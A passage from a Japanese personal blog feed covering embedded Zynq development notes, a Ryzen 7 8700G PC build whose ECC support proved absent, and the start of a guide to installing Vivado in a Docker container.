    INTERFACE_LINK_LIBRARIES &quot;-Wl,--start-group,${standalone_lib},-lgcc,-lc,-lstdc++,--end-group&quot;
    INTERFACE_INCLUDE_DIRECTORIES &quot;${standalone_include}&quot;)
endif()
```

ちなみに、各ライブラリをどの順でリンクすればいいのかは、embeddedsw の `.mld` ファイルで `OPTION APP_LINKER_FLAGS` を見ればよいです。例えば xilffs なら[こんな行](https://github.com/Xilinx/embeddedsw/blob/b3d8b420b421730ea505da55b42174dc90f885c1/lib/sw_services/xilffs/data/xilffs.mld#L22)があるのを見つけられると思います。

```tcl
OPTION APP_LINKER_FLAGS = &quot;-Wl,--start-group,-lxilffs,-lxil,-lgcc,-lc,--end-group&quot;;
```

### ISR で atomic 使うのって実際どうなの

割り込みハンドラーにたくさん実装を入れたくないので、「割り込みがあったかどうかのフラグ」を立てるなど最低限の処理だけにして、実際の処理はメインループの中でやる、という実装をしています。こうした「割り込みがあったかどうかのフラグ」などの割り込みハンドラーと共有する値は、コンパイラが意図しない最適化をしてしまわないように何かしらの対策をするのが一般的です。その値がコンパイラから見てどこか別のところから書き換えられることのない定数のように見えたとしても、実際には突発的に呼び出される割り込みハンドラーから書き換えられる可能性がるからコードの意味を変えないでね、と伝えてやるイメージです。

C/C++ の組み込みプログラミングでよく使われるのが `volatile` です。ただ `volatile` が何者なのか正直よくわからず、なんだか「とりあえず `volatile` 付けておけば安心！」に見えてしまうのでうーんです。その代替手段として [`&lt;atomic&gt;`](https://en.cppreference.com/w/cpp/header/atomic) を試してみています。

一番単純な例が TTC 割り込みの部分です。[`std::atomic_flag`](https://en.cppreference.com/w/cpp/atomic/atomic_flag) を使い、set を割り込み待ちの状態、clear を割り込みが起きた状態とします。メインループの中で [`test_and_set()`](https://en.cppreference.com/w/cpp/atomic/atomic_flag/test_and_set) を呼び出し、その時点での値が clear された状態 (`false`) だったら割り込みに対する処理、という感じです。

```cpp
static std::atomic_flag ttc_irq_kicked_n = ATOMIC_FLAG_INIT;

static void ttc_irq_handler(void* data) noexcept {
  auto ttc = static_cast&lt;XTtcPs*&gt;(data);
  const auto status = XTtcPs_GetInterruptStatus(ttc);
  if (status &amp; XTTCPS_IXR_INTERVAL_MASK) {
    ttc_irq_kicked_n.clear(std::memory_order_relaxed);

    XTtcPs_ClearInterruptStatus(ttc, XTTCPS_IXR_INTERVAL_MASK);
  }
}

for (;;) {
  asm volatile(&quot;wfi&quot;);

  if (!ttc_irq_kicked_n.test_and_set(std::memory_order_relaxed)) {
    // TTC 割り込みがあったときの処理
  }
}
```

IPI 割り込みでは [`std::atomic&lt;std::uint32_t&gt;`](https://en.cppreference.com/w/cpp/atomic/atomic) を使って Message Buffer から読み込んだ値を渡す目的も兼ねています。最上位ビットを割り込みが起きた状態かどうかに、残りを Message Buffer から呼んだ値とします。メインループでは [`exchange()`](https://en.cppreference.com/w/cpp/atomic/atomic/exchange) を呼び出して値を 0 に置き換えつつ、その時点での値の最上位ビットが立っていたら割り込みに対する処理、という感じです。

```cpp
static std::atomic&lt;std::uint32_t&gt; ipi_req{0};

static void ipi_irq_handler(void* data) noexcept {
  auto ipi = static_cast&lt;XIpiPsu*&gt;(data);
  const auto status = XIpiPsu_GetInterruptStatus(ipi);
  if (status &amp; IPI_TRIG_CH7_MASK) {
    const std::uint32_t req = Xil_In32(XPAR_PSU_MESSAGE_BUFFERS_S_AXI_BASEADDR + 0x600);
    ipi_req.store(req | 0x8000&apos;0000, std::memory_order_relaxed);

    XIpiPsu_ClearInterruptStatus(ipi, IPI_TRIG_CH7_MASK);
  }
}

for (;;) {
  asm volatile(&quot;wfi&quot;);

  if (const auto req = ipi_req.exchange(0, std::memory_order_relaxed); req &amp; 0x8000&apos;0000) {
    // TTC 割り込みがあったときの処理
  }
}
```

これでどちらもそれっぽく動いているものの、正直 `volatile` と同様に `&lt;atomic&gt;` についても詳しいわけではないので、この使い方がアリなのかあまり自信がありません。Rust の[この資料](https://docs.rust-embedded.org/book/concurrency/#atomic-access)とかは一例として紹介されたりはしていますね。

### RPU の Lock-Step Mode と TCM

RPU は Tightly Coupled Memory (TCM) とよばれる特別なメモリ領域にプログラムを配置できます。TCM はキャッシュを介さない予測可能時間でのアクセスや ECC が付いていたりする、RPU らしいメモリです。しかしこの TCM、容量がコア毎に 64 KB x 2 なので、ちょっと大きなものを載せようとすると厳しいことがあります。実際、開発中に `.text` が 64 KB を超えて収まらなくなったことがありました。

この対策 (?) になりそうな方法の1つとして、RPU を Lock-Step で動かすというのがあります。TRM によれば

&gt; During the lock-step operation, the TCMs that are associated with the redundant processor become available to the lock-step processor. The size of ATCM and BTCM become 128 KB each with BTCM supporting interleaved accesses from processor and AXI slave interface.

とあるためです。で、実際に linker script を変えてみたのですが…なんだかあやしいです。デバッガーでロードさせると問題ないのに、`boot.bin` に入れて FSBL で Linux と一緒にロードさせると途中で RPU 側のアプリケーションがお亡くなりになってしまうのです。デバッガーを使うと問題ないというのが厄介で、結局調査は諦めました。`.text` が 64 KB 超えた問題も、ちょっとコード変えただけで余裕で収まるようになりましたし。しかし謎…。

### Systemd Unit File を追加して Ubuntu のブート時にいろいろ動かす

Linux 側で動かすアプリケーションは、電源を投入したら何もせず勝手に動いてほしいです。今回は Ubuntu が動いているので、そこに Systemd の unit file を追加して実現しました。こんな感じです。

```ini
[Unit]
Description=Trigger IPI to flash LEDs
Wants=modprobe@uio_pdrv_genirq.service
After=modprobe@uio_pdrv_genirq.service

[Service]
Type=simple
ExecStart=/usr/bin/ipi-led
DevicePolicy=closed
DeviceAllow=char-uio

[Install]
WantedBy=multi-user.target
```

Systemd 世代なら見慣れた記述だと思います。カーネルモジュール `uio_pdrv_genirq` に依存しているので、それを `modprobe@uio_pdrv_genirq.service` と指定しています。`[Service]` で指定した処理は特に何もしなければ root で動いてしまうので、本格的に何かやろうとするなら別ユーザーで動かすなど権限を絞るべきです。今回は一発ネタなので手を抜いています。とはいえ何もしないのもおもしろくないので、お気持ち程度のリソース制限を付けました。`DevicePolicy=closed` と `DeviceAllow=char-uio` を設定して、`ipi-led` からは `/dev/null`, `/dev/zero` などの基本的なデバイスと `/dev/uio*` しか見えなくなっているはずです。

`ipi-led` 以外にもいくつかの unit file を追加しています。まずは [`maximize-root-partition.service`](https://github.com/Tosainu/earthly-zynqmp-example/blob/27538797d4663eb2637bf9e8570dc23e7465f126/linux/rootfs/etc/systemd/system/maximize-root-partition.service) です。`disk.img.zst` で作った Linux 側のパーティションは 256 MiB しかないので、最初にブートしたときに `parted` と `resize2fs` を呼び出してリサイズします。リサイズが済んだらもう役目はないので、unit file の中で `systemctl disable` しています。

もう1つが [`setup-usb-ether.service`](https://github.com/Tosainu/earthly-zynqmp-example/blob/27538797d4663eb2637bf9e8570dc23e7465f126/linux/rootfs/etc/systemd/system/setup-usb-ether.service) で、USB Gadget を使ったネットワーク接続を設定します。USB Gadget 経由のネットワークは想像していたより快適でした。Ultra96 実機上で複雑な作業をするのであればぜひオススメしたいです。ちなみに、これに関連して `system-top-append.dts` に PS-GTR の refclock の設定や USB 関連の pinctrl の設定を追加しています。設定しないとないと相手 PC 側で突然 disconnect 扱いになってしまうなど不安定でした。PS-GTR の refclock 情報は `.xsa` に入っていた気がするので、それだけでも やってくれるといいのになと思いました。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;cs&quot; dir=&quot;ltr&quot;&gt;naruhodo &lt;a href=&quot;https://t.co/iapfw9ABxP&quot;&gt;pic.twitter.com/iapfw9ABxP&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1518165469169332224?ref_src=twsrc%5Etfw&quot;&gt;April 24, 2022&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

せっかくなので、USB で繋いだらすぐ SSH できるようにと Ubuntu 環境に `openssh-server` も入れようとしていました。ただ、Ubuntu の `openssh` パッケージはパッケージがインストールされるときに host key を生成しているようだったため見送りました[^deb-pkg]。こうしたファイルを配布も想定したディスクイメージに含めたくないし、かと言って何かしらの workaround を設定するのも面倒だったので。

[^deb-pkg]: これに限らず、Ubuntu とかのパッケージはインストール時の hook でいろいろやり過ぎな気がします。特にパッケージに含まれるサービスをその場で start してくるやつが本当に好きじゃないです。ソフトウェアの設定を確認する前に勝手に動き出しちゃうってこわくないですか。</content:encoded></item><item><title>Ryzen 7 8700G + ECC メモリーで組んじゃったヒト</title><link>https://myon.info/blog/2024/02/12/ryzen-7-8700g/</link><guid isPermaLink="true">https://myon.info/blog/2024/02/12/ryzen-7-8700g/</guid><pubDate>Mon, 12 Feb 2024 00:00:00 GMT</pubDate><content:encoded>import { Picture } from &apos;astro:assets&apos;;

&lt;Picture
    src=&quot;/blog/2024/02/12/ryzen-7-8700g/DSC_8420.avif&quot;
    alt=&quot;&quot;
    width=&quot;2048&quot;
    height=&quot;1365&quot;
    formats={[&apos;avif&apos;]}
/&gt;

AMD の新しいデスクトップ向けプロセッサー AMD Ryzen 7 8700G を[発売日に購入](https://x.com/myon___/status/1753247461341368660)して PC を組みました。PC 組むのは雑に生えてきたものを除けば[2013年](/blog/2013/01/05/entry/)以来ですね。あれからもう10年以上経ってるのやばい…

この PC は、それまで一番利用頻度の高かった [ThinkPad X13 Gen1 (AMD)](/blog/2020/09/01/thinkpad-x13/) を入れ換える感じで導入しました。生活スタイルが変わってラップトップを持ち出す機会が大幅に減少したのと、そうした数少ないラップトップを持ち出したいケースでは音楽データやカメラで撮った写真の管理目的で買っちゃった MacBook Air のほうが都合よいのがわかってきて、MBA と別にラップトップを持つ必要性に疑問を感じたのがきっかけです。加えて、もし新しくデスクトップ PC を生やしたら、SATA 接続な HDD 資産の維持のために未だ現役な IvyBridge 世代の CPU が載っているデスクトップ PC をついでに置き換えられてよさそうなのに気づいたのがこれを後押ししました。この HDD は今も大容量データ保管とラップトップなどのバックアップ先に使っているのですが、利用頻度の高い PC から物理的に離れていることによる扱いにくさと PC 本体が世代の古いパーツで構成されているゆえの管理の煩わしさから、なんとかしたいなと感じていたのでした。

こうして久しぶりの PC パーツ検討がはじまりました。今回のコンセプトはこんな感じ:

&lt;dl&gt;

&lt;dt&gt;
    AMD のプロセッサー
&lt;/dt&gt;
&lt;dd&gt;
    X13 の Ryzen が体験よかったので、今回 AMD で組むのはほぼ確定でした。LGA2011 を選ぶようなヒトなので Socket sTR5 の風貌に惹かれるものがありましたが、マザーボードだけで1台組めるようなお値段する世界だったので早々に諦め Socket AM5 にフォーカスしました。そのほかの要件をふまえても Ryzen Threadripper はマッチしないのがわかりましたし。

    スペック面で目に見えるわかりやすい変化もほしいので、Ryzen 5 PRO 4650U / Core i7-3930K の6コアから1段アップの8コア以上のもので絞りました。
&lt;/dd&gt;

&lt;dt&gt;
    外付け GPU 無しで DisplayPort 出力
&lt;/dt&gt;
&lt;dd&gt;
    いわゆる「メイン機」扱いになる PC とはいえ、ラップトップの置き換えが目的なのであまり power-hungry な PC にはしたくありませんでした。ゲームはしなくなったので、3大電力消費デバイス[^top3-power-hungry]の1つ GPU は専用カードを載せずに CPU 内蔵のものを使う、載せるとしても古すぎないローエンド品で検討しました。とはいえ 4K ディスプレイ環境でボトルネックを感じさせることのないよう、性能にある程度の余裕は持っていて欲しさがありました。

    ディスプレイとの接続は、既存のディスプレイや周辺機器の都合から DisplayPort あるいは USB-C / Thunderbolt 経由で出せるのがマストでした。

    [^top3-power-hungry]: CPU, GPU, _FPGA Accelerator Card_
&lt;/dd&gt;

&lt;dt&gt;
    &lt;u&gt;ECC メモリー&lt;/u&gt;で 64GB 以上
&lt;/dt&gt;
&lt;dd&gt;
    Linus Torvalds 氏の影響を受けているので、次に組むときは ECC 付きのメモリーがいいなと思っていました。また前述した SATA 接続の HDD 資産は ZFS ではないものの RAID を組んでたりするので、ECC があるとより安心感が高まって心理的にもよさそうかなと。

    容量は 16GB だと X13 購入時の懸念通り私の作業では注意しないといけない場合が多々あり、32GB は i7-3930K で組んだときすでに経験しているので、その倍の 64GB 以上で検討しました。ところで今って 24GB とか 48GB なメモリーモジュールがあるんですね。マザーボードのスペックシートを見ていて、4スロットで 96GB とか 192GB ってどーやって組むんだろうとか思っていました。
&lt;/dd&gt;

&lt;/dl&gt;

&lt;Picture
    src=&quot;/blog/2024/02/12/ryzen-7-8700g/DSC_8371.avif&quot;
    alt=&quot;&quot;
    width=&quot;2048&quot;
    height=&quot;1365&quot;
    formats={[&apos;avif&apos;]}
/&gt;

そして新規で揃えたパーツがこんな感じ:

- [AMD Ryzen 7 8700G](https://www.amd.com/en/products/apu/amd-ryzen-7-8700g)
- [ASUS TUF GAMING B650M-PLUS](https://www.asus.com/motherboards-components/motherboards/tuf-gaming/tuf-gaming-b650m-plus/)
- [Micron 32GB DDR5-5600 ECC UDIMM 2Rx8 CL46](https://www.crucial.com/memory/server-ddr5/mtc20c2085s1ec56br) (MTC20C2085S1EC56BR x2)
- [Noctua NH-U12S chromax.black](https://noctua.at/en/nh-u12s-chromax-black)
- [KIOXIA EXCERIA PRO NVMe SSD 1TB](https://www.kioxia.com/ja-jp/personal/ssd/exceria-pro.html) (SSD-CK1.0N4P/N)
- [Fractal Design Ion+ 2 Platinum 560W](https://www.fractal-design.com/products/power-supplies/ion/ion-2-platinum-560w/black/) (FD-P-IA2P-560)

CPU はタイトル通り Ryzen 7 8700G です。最初は Ryzen 7 7800X3D/7700X/7600X か Ryzen 9 7900X3D あたりで迷っていましたが、Ryzen 8000G シリーズの話題を見つけて一転。同じ &quot;Zen 4&quot; アーキテクチャだけど Ryzen 7000 シリーズが TSMC 5nm FinFET なのに対して TSMC 4nm FinFET であること、余裕のある内蔵グラフィックス、そして ECC メモリー対応と少なくとも確認当時のスペックシートに書かれていたことが決め手でした。

Socket AM5 かつ ECC メモリー対応なマザーボードとなるとまずメーカーが限られてきます。Supermicro が [H13SAE-MF](https://www.supermicro.com/ja/products/motherboard/h13sae-mf) を出していて気になりましたが、Ryzen 8000G シリーズ対応が不明なのと、何より安くはないんだろうなという予想の更に倍くらいのお値段したので除外。そのあとは DisplayPort がついているもので基板の色やシルクが好みなものを選びました。TUF GAMING B650M-PLUS は全体的に派手でないデザインでとてもよく、強そうなヒートシンクも好印象です。パーツ選びを始めた段階で大きく値下げする店舗が出てきて、入手するまで在庫が心配な日々でした。

そしてメモリー。予定通り DDR5 で ECC な UDIMM です。最初は同じシリーズの DDR5-4800 を考えていましたが、DDR5-5600 なものがほとんど同じ値段で出てきたのでこちらにしました。このメモリーモジュールは XMP/EXPO などは対応していなさそうで、今回の構成で DDR5-5600 するにはいくつか手動でパラメーター設定が必要でした。といっても速度を指定したらあとはマザーボードがだいたい SPD 通りの値を選んでくれたので、そこまで困ることはありませんでした。

CPU クーラーも購入しました。メタルカラーが露出しているヒートシンクだと、特に素手で触れてしまったところを中心に時間経過とともにくすんでくるのが悲しくて、なにかいいのはないかと探し見つけたのが Noctua の chromax.black シリーズでした。黒くなっているので目立つようなくすみは出てこないかなーと思ったのと、何より黒基調の TUF GAMING B650M-PLUS とあわせるとすごいよさそうに見えたので。閉じると中が見えないケース使ってるのにね。

SSD は、発熱の心配やそもそも Ryzen 8000G シリーズは PCI Express 5.0 を持たないことから、無難そうな PCIe 4.0 対応のものを選択。今まで Plextor や Crucial を使ってきたので、今回ほかのメーカーを試してみようと KIOXIA にしました。それにしても SSD も速くなりましたね。あの [VPCZ2 の「第3世代 SSD RAID」](https://www.sony.jp/vaio/products/Z23/feature_2.html#L1_90) はベンチマークソフト上で 800 MB/s 以上出ていた記憶がありますが、いまや単体でその10倍近く、モノによってはそれ以上出ちゃうんですね。

電源、本当に何選んだらいいかわからない… というのも、i7-3930K で組んだとき使った電源は信頼できそうだと思っていたシリーズだったのに[バラしたら信じられないクオリティのはんだ付け](https://x.com/myon___/status/1302413841070874625)だった経験があり。今回は以前から興味があって使ってみたいと思っていたメーカー Fractal Design のものを選択。ケーブルがとてもしなやかで、ケース内の取り回しがとてもしやすかったです。あとは本体が入っていたバッグの面ファスナーを開けたときに思わず笑顔になりました。さすがにバラしていないのではんだ付けがどうなっているかはわかりませんが、かなりよい電源だと思います。80PLUS Platinum なだけあってか容量のわりに結構いいお値段しましたが。

&lt;details&gt;
    &lt;summary&gt;クリックで画像を表示&lt;/summary&gt;
    &lt;Picture
        src=&quot;/blog/2024/02/12/ryzen-7-8700g/DSC_8400.avif&quot;
        alt=&quot;&quot;
        width=&quot;2048&quot;
        height=&quot;1365&quot;
        formats={[&apos;avif&apos;]}
    /&gt;
&lt;/details&gt;

ケースなど、これ以外のパーツは手持ちを流用することにしました。

&lt;Picture
    src=&quot;/blog/2024/02/12/ryzen-7-8700g/DSC_8391.avif&quot;
    alt=&quot;&quot;
    width=&quot;1280&quot;
    height=&quot;1656&quot;
    formats={[&apos;avif&apos;]}
/&gt;

さて、タイトルや本文中の含みのある記述からもお察しかと思いますが… **Ryzen 7 8700G、ECC メモリー対応してませんでした〜〜〜っ!**

MemTest86 のコンフィグやシステム情報が見れる画面で ECC support が No と出ていたときからあれっとなり、そこから設定を見直しまくったり、ECC Error Injection みたいな動作確認をしてみるいい感じの方法がないか調べること1週間。[AMD Web サイトのスペックシートのページが (ひっそりと) 更新されて ECC Support の項目が消えている](https://www.reddit.com/r/hardware/comments/1ajwc3k/amd_silently_removed_ecc_support_from_ryzen_8700g/?utm_source=share&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_term=1&amp;utm_content=share_button)らしいのを知ります。Internet Archive を見ると [2024/01/08 の時点](https://web.archive.org/web/20240108154556/https://www.amd.com/en/product/14066)では ECC Support: Yes と記憶通りの情報が載っています。しかし改めて現在のページ確認してみると確かに… ECC Support の行が消えています。うわぁマジかぁ、という感じです。かなりかなしい。

販売開始前の製品のスペックシートを信用しきってしまっただとか最新情報の確認を怠っただとかこちらに非があるんだろうけども、AMD 側から事前に情報があるとよかったのにと思わないかといわれると嘘になります。まぁ少し高いメモリー買ったのに動かなかったとはならず、ECC 以外は問題なく動いていそうなのでよかったと思うべきなのかなと。とはいえ、これから Ryzen 7000 シリーズを買い直すとまではいかなくとも、新しく Socket AM5 な CPU (&quot;Zen 5&quot; 採用?) がちゃんと ECC メモリーに対応してリリースされたらすぐ入れ換えたくなっちゃうかもしれません。ECC メモリーは今回のコンセプトの1つで、パーツもそれ前提で揃えちゃっているので。

&lt;Picture
    src=&quot;/blog/2024/02/12/ryzen-7-8700g/DSC_8403.avif&quot;
    alt=&quot;&quot;
    width=&quot;2048&quot;
    height=&quot;1365&quot;
    formats={[&apos;avif&apos;]}
/&gt;

とりあえず ECC メモリーの件以外は概ね満足している PC になりました。Arch Linux をインストール、というか X13 の SSD から `dd(1)` でそのまま持ってきたあと若干の設定変更をして問題なく動いています。RAID 組んでる HDD も問題なく移行できました。PC 類の入れ換えと統合で部屋が片付いたのもうれしいですね。これからガシガシがんばってもらいます。</content:encoded></item><item><title>AMD/Xilinx Vivado を Docker コンテナに閉じ込める</title><link>https://myon.info/blog/2024/07/06/vivado-docker/</link><guid isPermaLink="true">https://myon.info/blog/2024/07/06/vivado-docker/</guid><pubDate>Sat, 06 Jul 2024 00:00:00 GMT</pubDate><content:encoded>以前 (といっても6年近く前なんですね…) かいた[「Xilinx の開発ツールを Docker コンテナに閉じ込める」](/blog/2018/09/15/install-xilinx-tools-into-docker-container/)がそこそこ反響あったみたいです。やっぱり環境構築の流用性や再現性向上であったり、CI/CD 含む build automation の需要は FPGA 界隈にもあったんだなーという感じです。単純に Docker だとかコンテナ技術だとかの流行りに乗っただけというのもあるかもですが、いずれにしてもこうしたツールや技術が FPGA 界隈で少しでも注目されたのならよかったかなと思います。

あれから状況はかなり変わりました。Xilinx は AMD になったり、SDK は Vitis になったり、その Vitis も最近のバージョンで様相が大きく変わったり、20 GB もなかった Single-File Download Installer が今は 100 GB を超えてたり…

ということで、最近の状況を反映した補足記事を自分のメモもかねてかいておくことにしました。なお、本記事は Vivado のみをコンテナ化の対象とします。自分は Vitis も PetaLinux Tools もほとんど使わなくなってしまったので…[^1] また念のためかいておきますが、**本記事および上記の前回の記事で取り上げている内容は AMD/Xilinx が公式で示しているものではありません。ここに記載した情報の利用により発生したいかなるトラブルについても、自己責任でお願いします。**

本記事で紹介する `Dockerfile` と関連ファイルは GitHub リポジトリ [Tosainu/docker-vivado][github-repo] にあり、記事執筆時点での最新は [`55d9fc2`][github-repo-hash] です。

[^1]: Vivado で `.xsa` 出力までして、それ以降は XSCT/XSDB を直叩きか自前の Tcl スクリプトでファームウェアのロードやデバッグ、というワークフローが身につきました。

## 環境

Arch Linux (x86_64, `linux-6.9.7-arch1-1`) と、`pacman` 経由でインストールした `docker-1:27.0.3-1`, `docker-buildx-0.15.1-1`,  を使い、コンテナイメージの作成およびコンテナ化した Vivado の実行を確認しました。また、インストールする Vivado のバージョンは 2024.1 としました。

&lt;details&gt;

```
$ pacman -Qi linux docker docker-buildx
Name            : linux
Version         : 6.9.7.arch1-1
Description     : The Linux kernel and modules
Architecture    : x86_64
URL             : https://github.com/archlinux/linux
Licenses        : GPL-2.0-only
Groups          : None
Provides        : KSMBD-MODULE  VIRTUALBOX-GUEST-MODULES  WIREGUARD-MODULE
Depends On      : coreutils  initramfs  kmod
Optional Deps   : wireless-regdb: to set the correct wireless channels of your country [installed]
                  linux-firmware: firmware images needed for some devices [installed]
Required By     : None
Optional For    : base
Conflicts With  : None
Replaces        : virtualbox-guest-modules-arch  wireguard-arch
Installed Size  : 134.14 MiB
Packager        : Jan Alexander Steffens (heftig) &lt;heftig@archlinux.org&gt;
Build Date      : Fri 28 Jun 2024 01:32:50 PM JST
Install Date    : Fri 05 Jul 2024 05:58:57 PM JST
Install Reason  : Explicitly installed
Install Script  : No
Validated By    : Signature

Name            : docker
Version         : 1:27.0.3-1
Description     : Pack, ship and run any application as a lightweight container
Architecture    : x86_64
URL             : https://www.docker.com/
Licenses        : Apache-2.0
Groups          : None
Provides        : None
Depends On      : glibc  bridge-utils  iproute2  device-mapper  sqlite  systemd-libs  libseccomp  libtool  runc  containerd
Optional Deps   : btrfs-progs: btrfs backend support [installed]
                  pigz: parallel gzip compressor support
                  docker-scan: vulnerability scanner
                  docker-buildx: extended build capabilities [installed]
Required By     : None
Optional For    : None
Conflicts With  : None
Replaces        : None
Installed Size  : 107.21 MiB
Packager        : Lukas Fleischer &lt;lfleischer@archlinux.org&gt;
Build Date      : Tue 02 Jul 2024 06:15:54 AM JST
Install Date    : Fri 05 Jul 2024 05:58:54 PM JST
Install Reason  : Explicitly installed
Install Script  : No
Validated By    : Signature

Name            : docker-buildx
Version         : 0.15.1-1
Description     : Docker CLI plugin for extended build capabilities with BuildKit
Architecture    : x86_64
URL             : https://github.com/docker/buildx
Licenses        : Apache-2.0
Groups          : None
Provides        : None
Depends On      : None
Optional Deps   : None
Required By     : None
Optional For    : docker
Conflicts With  : None
Replaces        : None
Installed Size  : 54.48 MiB
Packager        : Christian Heusel &lt;gromit@archlinux.org&gt;
Build Date      : Wed 19 Jun 2024 05:27:07 AM JST
Install Date    : Fri 21 Jun 2024 11:44:22 PM JST
Install Reason  : Explicitly installed
Install Script  : No
Validated By    : Signature

$ docker version 
Client:
 Version:           27.0.3
 API version:       1.46
 Go version:        go1.22.4
 Git commit:        7d4bcd863a
 Built:             Mon Jul  1 21:15:54 2024
 OS/Arch:           linux/amd64
 Context:           default

Server:
 Engine:
  Version:          27.0.3
  API version:      1.46 (minimum version 1.24)
  Go version:       go1.22.4
  Git commit:       662f78c0b1
  Built:            Mon Jul  1 21:15:54 2024
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          v1.7.18
  GitCommit:        ae71819c4f5e67bb4d5ae76a6b735f29cc25774e.m
 runc:
  Version:          1.1.13
  GitCommit:        
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

$ sha256sum FPGAs_AdaptiveSoCs_Unified_2024.1_0522_2023_Lin64.bin 
9a04ad206be0d9afd9d11cd7997b4e6978485eee44f47d4c08d07dbc30cb2f1e  FPGAs_AdaptiveSoCs_Unified_2024.1_0522_2023_Lin64.bin

$ md5sum FPGAs_AdaptiveSoCs_Unified_2024.1_0522_2023_Lin64.bin   
8b0e99a41b851b50592d5d6ef1b1263d  FPGAs_AdaptiveSoCs_Unified_2024.1_0522_2023_Lin64.bin
```

&lt;/details&gt;

## Web Installer で Batch Mode インストール

前回の記事では Single-File Download (SFD) Installer を使っていました。名前の通り必要なものがすべて含まれていて、オフライン実行も想定しているインストーラーです。実行時に追加のダウンロードが発生せず、AMD/Xilinx アカウント情報を入力しなくてよいため `Dockerfile` 記述に都合よかったのでした。

しかし、今の SFD Installer は 100 GB を超えています。いくら汎用 PC に載せられるストレージが高速かつ大容量になってきているとはいえ、Docker でこのクラスのコンテナイメージを扱うのはなかなか辛いものがあります。もちろん、いくら FPGA 開発環境を整えようとしている PC であっても、いつもストレージに余裕があるとは限りません。また今回対象としている Vivado だけに絞れば最終的なインストールサイズを 40 GB 以下にもできるので、事前に用意するデータが倍以上の大きさなのはもったいなさがあります。ということで、今回は Web Installer を使います。

最終的に `Dockerfile` に手順を落とし込みたいので、気になるのは Batch Mode がどうなるかです。Vivado Design Suite User Guide: Release Notes, Installation, and Licensing (UG973) の [&quot;Batch Mode Installation Using Web Installer&quot;](https://docs.amd.com/r/en-US/ug973-vivado-release-notes-install-license/Batch-Mode-Installation-Using-Web-Installer) セクションによれば、インストーラーを展開する操作と AMD/Xilinx アカウント情報を `xsetup -b AuthTokenGen` で入力する以外は基本的に同じ流れでよさそうです。しかしこの `xsetup -b AuthTokenGen`、メールアドレスとパスワードをコンソールからの入力で求めてきます。かわりになるコマンドラインオプションもおそらくなさそうですし、pipe で流し込もうとしてもだめでした。

    # echo -e &quot;&lt;email&gt;\n&lt;password&gt;&quot; | ./xsetup -b AuthTokenGen
    This is a fresh install.
    INFO Could not detect the display scale (hDPI).
           If you are using a high resolution monitor, you can set the insaller scale factor like this: 
           export XINSTALLER_SCALE=2
           setenv XINSTALLER_SCALE 2
    Running in batch mode...
    Copyright (c) 1986-2022 Xilinx, Inc.  All rights reserved.
    Copyright (c) 2022-2024 Advanced Micro Devices, Inc.  All rights reserved.
    INFO  - Internet connection validated, can connect to internet. 
    ERROR - FATAL Could not get a console!!! 
    
    Exception in thread &quot;main&quot; com.xilinx.installer.utils.k: Unable to progress with authentication token generation without access to a console.
            at com.xilinx.installer.cli.CLIActionHandler.f(Unknown Source)
            at com.xilinx.installer.cli.CLIActionHandler.a(Unknown Source)
            at com.xilinx.installer.cli.g.a(Unknown Source)
            at com.xilinx.installer.api.InstallerLauncher.main(Unknown Source)

そこで今回は [Expect](https://www.nist.gov/services-resources/software/expect) を使います。Expect は、CUI 動作の対話型アプリケーションをスクリプトで自動化できるソフトウェアです。スクリプトが FPGA ではおなじみの Tcl ベースなのも、なんだか相性のよさを感じます。

```tcl
set executable [lindex $argv 0];
set secret_file [lindex $argv 1];

set fd [open &quot;$secret_file&quot;]
set secret [split [read $fd] &quot;\n&quot;]
set username [lindex $secret 0]
set password [lindex $secret 1]
close $fd

set timeout -1

spawn &quot;$executable&quot; -b AuthTokenGen
expect {
  -re &quot;.*E-mail Address:&quot; {
    send -- &quot;$username\r&quot;
    exp_continue
  }
  -re &quot;.*Password:&quot; {
    send -- &quot;$password\r&quot;
    exp_continue
  }
  eof
}
exit [lindex [wait] 3]
```

スクリプトはコマンドラインの引数 `$argv` から2つの値を取ります。1つ目は `xsetup` を想定した実行ファイルへのパス、2つ目はメールアドレスとパスワードを記述したファイルへのパスです。メールアドレスとパスワードは、ファイルの1行目と2行目に順に記述されているものとします。`split` で分割し、それぞれを変数 `$username` と `$password` に格納しています。`spawn` で `xsetup -b AuthTokenGen` を実行し、続く `expect` で入出力を処理します。`xsetup` が `E-mail Address:` と表示したら `$username`、`Password:` と表示したら `$password` を入力、という操作が記述されています。

このスクリプトは `auth_token_gen.exp` と名前を付けて保存しました。メールアドレスとパスワードを記述したファイルを `secret.txt` とすれば、次のコマンドで `xsetup -b AuthTokenGen` がユーザー入力なしに完了します。

    $ expect -f auth_token_gen.exp /path/to/xsetup secret.txt 
    spawn /path/to/xsetup -b AuthTokenGen
    This is a fresh install.
    INFO Could not detect the display scale (hDPI).
           If you are using a high resolution monitor, you can set the insaller scale factor like this: 
           export XINSTALLER_SCALE=2
           setenv XINSTALLER_SCALE 2
    Running in batch mode...
    Copyright (c) 1986-2022 Xilinx, Inc.  All rights reserved.
    Copyright (c) 2022-2024 Advanced Micro Devices, Inc.  All rights reserved.
    INFO  - Internet connection validated, can connect to internet. 
    INFO  - In order to generate the authentication token please provide your AMD account E-mail Address and password.
     
    E-mail Address:xxx@xxx
    Password:
    INFO  - Generating authentication token... 
    INFO  - Saved authentication token file successfully, valid until 07/13/2024 12:40 AM 

そうしてできあがった `Dockerfile` がこんな感じです。

```dockerfile
FROM ubuntu:jammy AS base
RUN \
    apt-get update &amp;&amp; \
    DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
        expect file libgtk2.0-0 libncurses5 libswt-glx-gtk-4-jni libtinfo5 \
        locales python3 x11-utils xz-utils xvfb &amp;&amp; \
    rm -rf /var/lib/apt/lists/* &amp;&amp; \
    sed -i &apos;s/^#\s*\(en_US.UTF-8\)/\1/&apos; /etc/locale.gen &amp;&amp; \
    dpkg-reconfigure --frontend noninteractive locales


FROM base AS installer
